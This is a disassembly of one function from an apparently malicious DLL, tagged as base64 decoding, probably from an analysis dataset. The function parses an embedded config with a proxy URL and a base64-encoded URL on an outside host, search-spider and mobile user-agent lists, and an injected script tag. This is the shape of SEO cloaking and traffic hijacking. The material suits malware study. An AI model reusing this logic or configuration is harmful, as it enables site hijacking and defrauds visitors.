Function at 0x10001350
Capabilities:
Decode data using base64 via dword translation table

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1003cc2e
mov eax, dword fs:[0]
push eax
sub esp, 0xf0
mov eax, dword [0x1004f040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov byte [ebp - 0x85], 0
call fcn.10001250
mov dword [ebp - 0x8c], eax
mov edi, dword [eax + 8]
mov esi, dword [eax + 4]
cmp esi, edi
je 0x100013bc
nop dword [eax]
mov ecx, esi
call fcn.10002250
add esi, 0x4c
cmp esi, edi
jne 0x100013a0
mov edi, dword [ebp - 0x8c]
mov eax, dword [edi + 4]
mov dword [edi + 8], eax
jmp 0x100013be
mov edi, eax
mov edx, dword [edi + 0x2c]
lea esi, [edi + 0x28]
mov ecx, dword [esi]
mov dword [ebp - 0xd4], esi
cmp ecx, edx
je 0x100013de
push ecx
call fcn.10003c20
mov eax, dword [esi]
add esp, 4
mov dword [esi + 4], eax
mov edx, dword [edi + 0x20]
lea esi, [edi + 0x1c]
mov ecx, dword [esi]
mov dword [ebp - 0xd8], esi
cmp ecx, edx
je 0x100013fe
push ecx
call fcn.10003c20
mov eax, dword [esi]
add esp, 4
mov dword [esi + 4], eax
mov edx, dword [edi + 0x14]
mov ecx, dword [edi + 0x10]
cmp ecx, edx
je 0x10001417
push ecx
call fcn.10003c20
mov eax, dword [edi + 0x10]
add esp, 4
mov dword [edi + 0x14], eax
mov edx, str._rule1_:_enable_:1__rules_:__host_:____keyvalue_:__app___op_:1__proxyurl_:_http:__app.qiansheng168.com__u_urlppiphosthost____rule2_:_enable_:0__inpostfix_:_.xml.fdc.one.bug.doc.love.txt.ppt.pptx.xls.csv.shtml.znb.msl.mdb.hxc___mobileua_:_phonepadpodiPhoneiPodiosiPadAndroidMobileBlackBerryIEMobileMQQBrowserJUCFennecwOSBrowserBrowserNGWebOSSymbianWindows_Phone___spiderua_:_BaiduSpiderSogouYisouHaosou360Spider___v1_:_http:__..._web_hosthostpathurlspiderua___v2_:____v3_:__script_alert__123123____script____rule3_:_enable_:1__spiderua_:_BaiduSpiderSogouYisouHaosou360Spider___v4_:_type_:2__val_:_aHR0cDovL2FwcC5xaWFuc2hlbmcxNjguY29tL3gucGhw_
mov word [edi + 1], 0
mov byte [edi], 0
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x10001428
sub edx, ecx
sub esp, 8
inc edx
call fcn.10004810
mov dword [ebp - 0x84], eax
test eax, eax
je 0x1000217a
push ecx
mov edx, str.rule1
mov ecx, eax
call fcn.10004f80
mov esi, eax
add esp, 4
test esi, esi
je 0x100016ae
push ecx
mov edx, str.enable
mov ecx, esi
call fcn.10004f80
add esp, 4
test eax, eax
je 0x10001483
cmp byte [eax + 0xc], 8
jne 0x10001483
movsd xmm0, qword [eax + 0x18]
jmp 0x1000148b
movsd xmm0, qword [0x1004af80]
ucomisd xmm0, qword [0x1004af68]
lahf
test ah, 0x44
jp 0x100016ae
push ecx
mov edx, str.rules
mov byte [edi], 1
mov ecx, esi
call fcn.10004f80
mov esi, eax
add esp, 4
mov dword [ebp - 0x98], esi
xor edx, edx
xor ecx, ecx
mov dword [ebp - 0x90], edx
test esi, esi
je 0x100014d7
mov eax, dword [esi + 8]
test eax, eax
je 0x100014d7
nop dword [eax]
mov eax, dword [eax]
inc ecx
test eax, eax
jne 0x100014d0
cmp edx, ecx
jge 0x100016a8
test edx, edx
jns 0x100014e7
xor esi, esi
jmp 0x100014ff
mov eax, edx
test esi, esi
je 0x100014ff
mov esi, dword [esi + 8]
test esi, esi
je 0x100014ff
test eax, eax
je 0x100014ff
mov esi, dword [esi]
dec eax
test esi, esi
jne 0x100014f4
xorps xmm0, xmm0
mov dword [ebp - 0x70], 0
movups xmmword [ebp - 0x80], xmm0
mov dword [ebp - 0x6c], 0xf
movups xmmword [ebp - 0x68], xmm0
mov byte [ebp - 0x80], 0
movups xmmword [ebp - 0x4c], xmm0
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x54], 0xf
mov byte [ebp - 0x68], 0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0xf
mov byte [ebp - 0x4c], 0
push ecx
mov edx, 0x1004a324
mov dword [ebp - 4], 0
mov ecx, esi
call fcn.10004f80
add esp, 4
test eax, eax
je 0x1000156a
cmp byte [eax + 0xc], 0x10
jne 0x1000156a
mov edx, dword [eax + 0x10]
jmp 0x1000156c
xor edx, edx
mov ecx, edx
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10001571
sub ecx, edi
push ecx
push edx
lea ecx, [ebp - 0x80]
call fcn.10003a70
push ecx
mov edx, str.keyvalue
mov ecx, esi
call fcn.10004f80
add esp, 4
test eax, eax
je 0x100015a3
cmp byte [eax + 0xc], 0x10
jne 0x100015a3
mov edx, dword [eax + 0x10]
jmp 0x100015a5
xor edx, edx
mov ecx, edx
lea edi, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100015b0
sub ecx, edi
push ecx
push edx
lea ecx, [ebp - 0x68]
call fcn.10003a70
push ecx
mov edx, 0x1004a338
mov ecx, esi
call fcn.10004f80
add esp, 4
test eax, eax
je 0x100015e4
cmp byte [eax + 0xc], 8
jne 0x100015e4
movsd xmm0, qword [eax + 0x18]
jmp 0x100015ec
movsd xmm0, qword [0x1004af80]
cvttsd2si eax, xmm0
push ecx
mov edx, str.proxyurl
mov ecx, esi
mov dword [ebp - 0x50], eax
call fcn.10004f80
add esp, 4
test eax, eax
je 0x10001612
cmp byte [eax + 0xc], 0x10
jne 0x10001612
mov edx, dword [eax + 0x10]
jmp 0x10001614
xor edx, edx
mov ecx, edx
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10001620
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x4c]
call fcn.10003a70
mov edi, dword [ebp - 0x8c]
lea eax, [ebp - 0x80]
push eax
mov esi, dword [edi + 8]
cmp esi, dword [edi + 0xc]
je 0x1000167e
mov ecx, esi
mov dword [ebp - 0xa0], esi
call fcn.10003900
lea eax, [ebp - 0x68]
mov byte [ebp - 4], 1
push eax
lea ecx, [esi + 0x18]
call fcn.10003900
mov byte [ebp - 4], 2
lea ecx, [esi + 0x34]
mov eax, dword [ebp - 0x50]
mov dword [esi + 0x30], eax
lea eax, [ebp - 0x4c]
push eax
call fcn.10003900
add dword [edi + 8], 0x4c
jmp 0x10001687
push esi
lea ecx, [edi + 4]
call fcn.10003fe0
lea ecx, [ebp - 0x80]
mov dword [ebp - 4], 0xffffffff
call fcn.10002250
mov edx, dword [ebp - 0x90]
mov esi, dword [ebp - 0x98]
inc edx
jmp 0x100014ba
mov edi, dword [ebp - 0x8c]
push ecx
mov ecx, dword [ebp - 0x84]
mov edx, str.rule2
call fcn.10004f80
mov esi, eax
add esp, 4
test esi, esi
je 0x10001cb3
push ecx
mov edx, str.enable
mov ecx, esi
call fcn.10004f80
add esp, 4
test eax, eax
je 0x100016ed
cmp byte [eax + 0xc], 8
jne 0x100016ed
movsd xmm0, qword [eax + 0x18]
jmp 0x100016f5
movsd xmm0, qword [0x1004af80]
ucomisd xmm0, qword [0x1004af68]
lahf
test ah, 0x44
jp 0x10001cb3
push ecx
mov edx, str.spiderua
mov byte [edi + 1], 1
mov ecx, esi
call fcn.10004f80
mov edx, str.mobileua
mov ecx, esi
mov edi, eax
call fcn.10004f80
mov edx, str.inpostfix
mov dword [ebp - 0x90], eax
mov ecx, esi
call fcn.10004f80
mov edx, 0x1004a374
mov dword [ebp - 0x9c], eax
mov ecx, esi
call fcn.10004f80
mov edx, 0x1004a378
mov dword [ebp - 0x94], eax
mov ecx, esi
call fcn.10004f80
mov edx, 0x1004a37c
mov dword [ebp - 0x98], eax
mov ecx, esi
call fcn.10004f80
add esp, 4
mov dword [ebp - 0xa0], eax
test edi, edi
je 0x100021f1
cmp dword [ebp - 0x90], 0
je 0x100021f1
cmp dword [ebp - 0x9c], 0
je 0x100021f1
cmp dword [ebp - 0x94], 0
je 0x100021f1
test eax, eax
je 0x100021f1
cmp dword [ebp - 0x98], 0
je 0x100021f1
push 1
xorps xmm0, xmm0
mov dword [ebp - 0xc0], 0
push 0x1004a380
lea ecx, [ebp - 0xd0]
mov dword [ebp - 0xbc], 0
movups xmmword [ebp - 0xd0], xmm0
call fcn.10003df0
mov dword [ebp - 4], 3
cmp byte [edi + 0xc], 0x10
je 0x100017fc
xor edx, edx
jmp 0x100017ff
mov edx, dword [edi + 0x10]
mov ecx, edx
mov dword [ebp - 0xa8], 0
xorps xmm0, xmm0
mov dword [ebp - 0xa4], 0
movups xmmword [ebp - 0xb8], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10001822
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0xb8]
call fcn.10003df0
lea eax, [ebp - 0xd0]
mov byte [ebp - 4], 4
push eax
lea edx, [ebp - 0xb8]
lea ecx, [ebp - 0x1c]
call fcn.10006100
mov edi, dword [ebp - 0x8c]
mov esi, eax
add edi, 0x10
add esp, 4
cmp edi, esi
je 0x1000188e
mov ecx, edi
call fcn.100039f0
mov eax, dword [esi]
mov dword [edi], eax
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 8]
mov dword [edi + 8], eax
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [esi + 8], 0
lea ecx, [ebp - 0x1c]
call fcn.100039f0
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0xa4]
cmp ecx, 0xf
jbe 0x100018d4
mov edx, dword [ebp - 0xb8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100018ca
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002221
push ecx
push edx
call fcn.1001621e
add esp, 8
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xbc]
mov dword [ebp - 0xa8], 0
mov dword [ebp - 0xa4], 0xf
mov byte [ebp - 0xb8], 0
cmp ecx, 0xf
jbe 0x10001930
mov edx, dword [ebp - 0xd0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10001926
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002221
push ecx
push edx
call fcn.1001621e
add esp, 8
push 1
xorps xmm0, xmm0
mov dword [ebp - 0xc0], 0
push 0x1004a380
lea ecx, [ebp - 0xd0]
mov dword [ebp - 0xbc], 0
movups xmmword [ebp - 0xd0], xmm0
call fcn.10003df0
mov eax, dword [ebp - 0x90]
mov dword [ebp - 4], 5
cmp byte [eax + 0xc], 0x10
je 0x10001977
xor edx, edx
jmp 0x1000197a
mov edx, dword [eax + 0x10]
mov ecx, edx
mov dword [ebp - 0xa8], 0
xorps xmm0, xmm0
mov dword [ebp - 0xa4], 0
movups xmmword [ebp - 0xb8], xmm0
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100019a0
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0xb8]
call fcn.10003df0
lea eax, [ebp - 0xd0]
mov byte [ebp - 4], 6
push eax
lea edx, [ebp - 0xb8]
lea ecx, [ebp - 0x1c]
call fcn.10006100
mov edi, dword [ebp - 0xd8]
mov esi, eax
add esp, 4
cmp edi, esi
je 0x10001a09
mov ecx, edi
call fcn.100039f0
mov eax, dword [esi]
mov dword [edi], eax
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 8]
mov dword [edi + 8], eax
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [esi + 8], 0
lea ecx, [ebp - 0x1c]
call fcn.100039f0
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0xa4]
cmp ecx, 0xf
jbe 0x10001a4f
mov edx, dword [ebp - 0xb8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10001a45
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002226
push ecx
push edx
call fcn.1001621e
add esp, 8
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xbc]
mov dword [ebp - 0xa8], 0
mov dword [ebp - 0xa4], 0xf
mov byte [ebp - 0xb8], 0
cmp ecx, 0xf
jbe 0x10001aab
mov edx, dword [ebp - 0xd0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10001aa1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002226
push ecx
push edx
call fcn.1001621e
add esp, 8
push 1
xorps xmm0, xmm0
mov dword [ebp - 0xc0], 0
push 0x1004a380
lea ecx, [ebp - 0xd0]
mov dword [ebp - 0xbc], 0
movups xmmword [ebp - 0xd0], xmm0
call fcn.10003df0
mov eax, dword [ebp - 0x9c]
mov dword [ebp - 4], 7
cmp byte [eax + 0xc], 0x10
je 0x10001af2
xor edx, edx
jmp 0x10001af5
mov edx, dword [eax + 0x10]
mov ecx, edx
mov dword [ebp - 0xa8], 0
xorps xmm0, xmm0
mov dword [ebp - 0xa4], 0
movups xmmword [ebp - 0xb8], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10001b18
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0xb8]
call fcn.10003df0
lea eax, [ebp - 0xd0]
mov byte [ebp - 4], 8
push eax
lea edx, [ebp - 0xb8]
lea ecx, [ebp - 0x1c]
call fcn.10006100
mov edi, dword [ebp - 0xd4]
mov esi, eax
add esp, 4
cmp edi, esi
je 0x10001b81
mov ecx, edi
call fcn.100039f0
mov eax, dword [esi]
mov dword [edi], eax
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 8]
mov dword [edi + 8], eax
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [esi + 8], 0
lea ecx, [ebp - 0x1c]
call fcn.100039f0
mov byte [ebp - 4], 7
mov ecx, dword [ebp - 0xa4]
cmp ecx, 0xf
jbe 0x10001bc7
mov edx, dword [ebp - 0xb8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10001bbd
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000222b
push ecx
push edx
call fcn.1001621e
add esp, 8
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xbc]
mov dword [ebp - 0xa8], 0
mov dword [ebp - 0xa4], 0xf
mov byte [ebp - 0xb8], 0
cmp ecx, 0xf
jbe 0x10001c23
mov edx, dword [ebp - 0xd0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10001c19
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000222b
push ecx
push edx
call fcn.1001621e
add esp, 8
mov eax, dword [ebp - 0x94]
cmp byte [eax + 0xc], 0x10
je 0x10001c33
xor edx, edx
jmp 0x10001c36
mov edx, dword [eax + 0x10]
mov ecx, edx
lea esi, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10001c40
mov edi, dword [ebp - 0x8c]
sub ecx, esi
push ecx
push edx
lea ecx, [edi + 0x34]
call fcn.10003a70
mov eax, dword [ebp - 0x98]
cmp byte [eax + 0xc], 0x10
je 0x10001c69
xor edx, edx
jmp 0x10001c6c
mov edx, dword [eax + 0x10]
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10001c71
sub ecx, esi
push ecx
push edx
lea ecx, [edi + 0x4c]
call fcn.10003a70
mov edx, dword [ebp - 0xa0]
cmp byte [edx + 0xc], 0x10
je 0x10001c94
xor edx, edx
jmp 0x10001c97
mov edx, dword [edx + 0x10]
mov ecx, edx
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10001ca0
sub ecx, esi
push ecx
push edx
lea ecx, [edi + 0x64]
call fcn.10003a70
push ecx
mov ecx, dword [ebp - 0x84]
mov edx, str.rule3
call fcn.10004f80
mov esi, eax
add esp, 4
mov dword [ebp - 0xd4], esi
test esi, esi
je 0x10002174
push ecx
mov edx, str.enable
mov ecx, esi
call fcn.10004f80
add esp, 4
test eax, eax
je 0x10001cf8
cmp byte [eax + 0xc], 8
jne 0x10001cf8
movsd xmm0, qword [eax + 0x18]
jmp 0x10001d00
movsd xmm0, qword [0x1004af80]
ucomisd xmm0, qword [0x1004af68]
lahf
test ah, 0x44
jp 0x10002174
push ecx
mov edx, 0x1004a38c
mov byte [edi + 2], 1
mov ecx, esi
call fcn.10004f80
mov edi, eax
add esp, 4
test edi, edi
je 0x10002174
push ecx
mov edx, str.type
mov ecx, edi
call fcn.10004f80
mov edx, 0x1004a398
mov ecx, edi
mov esi, eax
call fcn.10004f80
mov edx, eax
add esp, 4
test edx, edx
je 0x100021f1
test esi, esi
je 0x100021f1
cmp byte [esi + 0xc], 8
je 0x10001d70
movsd xmm0, qword [0x1004af80]
jmp 0x10001d75
movsd xmm0, qword [esi + 0x18]
mov ecx, dword [ebp - 0x8c]
cvttsd2si eax, xmm0
mov dword [ecx + 0xa0], eax
cmp byte [edx + 0xc], 0x10
je 0x10001d8f
xor edx, edx
jmp 0x10001d92
mov edx, dword [edx + 0x10]
test edx, edx
je 0x100021f1
xorps xmm0, xmm0
mov dword [ebp - 0x24], 0
movups xmmword [ebp - 0x34], xmm0
mov dword [ebp - 0x20], 0xf
mov byte [ebp - 0x34], 0
mov ecx, edx
mov dword [ebp - 4], 9
lea esi, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10001dc0
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x34]
call fcn.10003a70
xorps xmm0, xmm0
mov dword [ebp - 0x14], 0
xor edi, edi
movq qword [ebp - 0x1c], xmm0
xor esi, esi
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x98], esi
mov dword [ebp - 0x14], esi
mov byte [ebp - 4], 0xa
mov ecx, dword [ebp - 0x24]
mov eax, ecx
shr eax, 2
mov dword [ebp - 0x90], ecx
lea eax, [eax + eax*2]
test eax, eax
je 0x10001e2d
push ecx
push eax
lea ecx, [ebp - 0x1c]
call fcn.10003ed0
mov ecx, dword [ebp - 0x24]
mov esi, dword [ebp - 0x14]
mov edi, dword [ebp - 0x1c]
mov dword [ebp - 0x90], ecx
mov dword [ebp - 0x98], esi
cmp dword [ebp - 0x20], 0xf
lea edx, [ebp - 0x34]
cmova edx, dword [ebp - 0x34]
mov dword [ebp - 0xa0], edx
test cl, 3
jne case.default.0x10001e96
xor eax, eax
xor ecx, ecx
mov dword [ebp - 0x94], ecx
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x90], eax
jbe 0x10001ef4
mov dl, byte [eax + edx]
cmp dl, 0x3d
je 0x10001ef4
mov al, dl
sub al, 0x2b
cmp al, 0x4f
ja case.default.0x10001e96
movzx eax, dl
mov dl, byte [eax + 0x1004a218]
cmp dl, 0xff
je case.default.0x10001e96
mov eax, dword [ebp - 0x9c]
and eax, 3
jmp dword [eax*4 + 0x1000223c]
shl dl, 2
mov byte [ecx + edi], dl
jmp 0x10001ed5
mov al, dl
shr al, 4
and al, 3
or byte [ecx + edi], al
inc ecx
shl dl, 4
mov byte [ecx + edi], dl
jmp 0x10001ecf
mov al, dl
shr al, 2
and al, 0xf
or byte [ecx + edi], al
inc ecx
shl dl, 6
mov byte [ecx + edi], dl
jmp 0x10001ecf
or byte [ecx + edi], dl
inc ecx
mov dword [ebp - 0x94], ecx
mov eax, dword [ebp - 0x9c]
mov edx, dword [ebp - 0xa0]
inc eax
mov dword [ebp - 0x9c], eax
cmp eax, dword [ebp - 0x90]
jb 0x10001e63
test ecx, ecx
je case.default.0x10001e96
mov edx, dword [ebp - 0x8c]
add edx, 0x88
mov eax, edx
mov dword [edx + 0x10], 0
cmp dword [edx + 0x14], 0xf
jbe 0x10001f19
mov eax, dword [edx]
mov byte [eax], 0
mov eax, dword [edx + 0x14]
mov esi, dword [edx + 0x10]
sub eax, esi
cmp ecx, eax
ja 0x10001f4f
cmp dword [edx + 0x14], 0xf
lea eax, [esi + ecx]
mov dword [edx + 0x10], eax
jbe 0x10001f36
mov edx, dword [edx]
push ecx
add esi, edx
push edi
push esi
call fcn.1001fc90
mov eax, dword [ebp - 0x94]
add esp, 0xc
mov byte [eax + esi], 0
jmp 0x10001f66
push ecx
push edi
mov byte [ebp - 0xa0], 0
push dword [ebp - 0xa0]
push ecx
mov ecx, edx
call fcn.10003c90
mov byte [ebp - 4], 9
test edi, edi
je 0x10001f9e
mov ecx, dword [ebp - 0x98]
mov eax, edi
sub ecx, edi
cmp ecx, 0x1000
jb 0x10001f94
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002235
push ecx
push edi
call fcn.1001621e
add esp, 8
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x20]
cmp ecx, 0xf
jbe 0x10001fd9
mov edx, dword [ebp - 0x34]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10001fcf
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002235
push ecx
push edx
call fcn.1001621e
add esp, 8
push ecx
mov ecx, dword [ebp - 0xd4]
mov edx, str.spiderua
call fcn.10004f80
mov esi, eax
add esp, 4
test esi, esi
je 0x10002174
push 1
xorps xmm0, xmm0
mov dword [ebp - 0xc0], 0
push 0x1004a380
lea ecx, [ebp - 0xd0]
mov dword [ebp - 0xbc], 0
movups xmmword [ebp - 0xd0], xmm0
call fcn.10003df0
mov dword [ebp - 4], 0xb
cmp byte [esi + 0xc], 0x10
je 0x10002038
xor edx, edx
jmp 0x1000203b
mov edx, dword [esi + 0x10]
mov ecx, edx
mov dword [ebp - 0xe0], 0
xorps xmm0, xmm0
mov dword [ebp - 0xdc], 0
movups xmmword [ebp - 0xf0], xmm0
lea esi, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10002060
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0xf0]
call fcn.10003df0
lea eax, [ebp - 0xd0]
mov byte [ebp - 4], 0xc
push eax
lea edx, [ebp - 0xf0]
lea ecx, [ebp - 0xfc]
call fcn.10006100
mov edi, dword [ebp - 0x8c]
mov esi, eax
add edi, 0x7c
add esp, 4
cmp edi, esi
je 0x100020cf
mov ecx, edi
call fcn.100039f0
mov eax, dword [esi]
mov dword [edi], eax
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 8]
mov dword [edi + 8], eax
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [esi + 8], 0
lea ecx, [ebp - 0xfc]
call fcn.100039f0
mov byte [ebp - 4], 0xb
mov ecx, dword [ebp - 0xdc]
cmp ecx, 0xf
jbe 0x10002118
mov edx, dword [ebp - 0xf0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1000210e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002230
push ecx
push edx
call fcn.1001621e
add esp, 8
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xbc]
mov dword [ebp - 0xe0], 0
mov dword [ebp - 0xdc], 0xf
mov byte [ebp - 0xf0], 0
cmp ecx, 0xf
jbe 0x10002174
mov edx, dword [ebp - 0xd0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1000216a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002230
push ecx
push edx
call fcn.1001621e
add esp, 8
mov eax, dword [ebp - 0x84]
mov cl, 1
mov byte [ebp - 0x85], cl
test eax, eax
je 0x10002204
jmp 0x100021f7
mov byte [ebp - 4], 9
test edi, edi
je 0x100021ba
sub esi, edi
mov eax, edi
cmp esi, 0x1000
jb 0x100021b0
mov edi, dword [eax - 4]
add esi, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002235
push esi
push edi
call fcn.1001621e
add esp, 8
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x20]
cmp ecx, 0xf
jbe 0x100021f1
mov edx, dword [ebp - 0x34]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100021e7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002235
push ecx
push edx
call fcn.1001621e
add esp, 8
mov eax, dword [ebp - 0x84]
mov ecx, eax
call fcn.100043d0
mov cl, byte [ebp - 0x85]
mov al, cl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100161e0
mov esp, ebp
pop ebp
ret
call fcn.10022f5f
call fcn.10022f5f
call fcn.10022f5f
call fcn.10022f5f
call fcn.10022f5f
nop
popfd
push ds
add byte [eax], dl
movsd dword es:[edi], dword [esi]
push ds
add byte [eax], dl
mov eax, 0xcb10001e
push ds
add byte [eax], dl
int3